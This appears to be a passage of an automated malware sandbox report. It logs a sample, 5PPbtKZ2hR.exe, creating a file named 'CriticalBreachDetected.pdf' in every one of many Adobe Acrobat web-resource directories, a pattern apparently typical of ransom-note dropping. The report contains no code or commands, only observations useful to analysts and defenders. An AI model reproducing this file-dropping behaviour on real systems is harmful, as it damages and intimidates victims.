Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\images\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account-select\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account-select\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account-select\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\images\themeless_Reader\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\images\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\ccpdf\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\cpdf\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\epdf\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\images\themeless\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
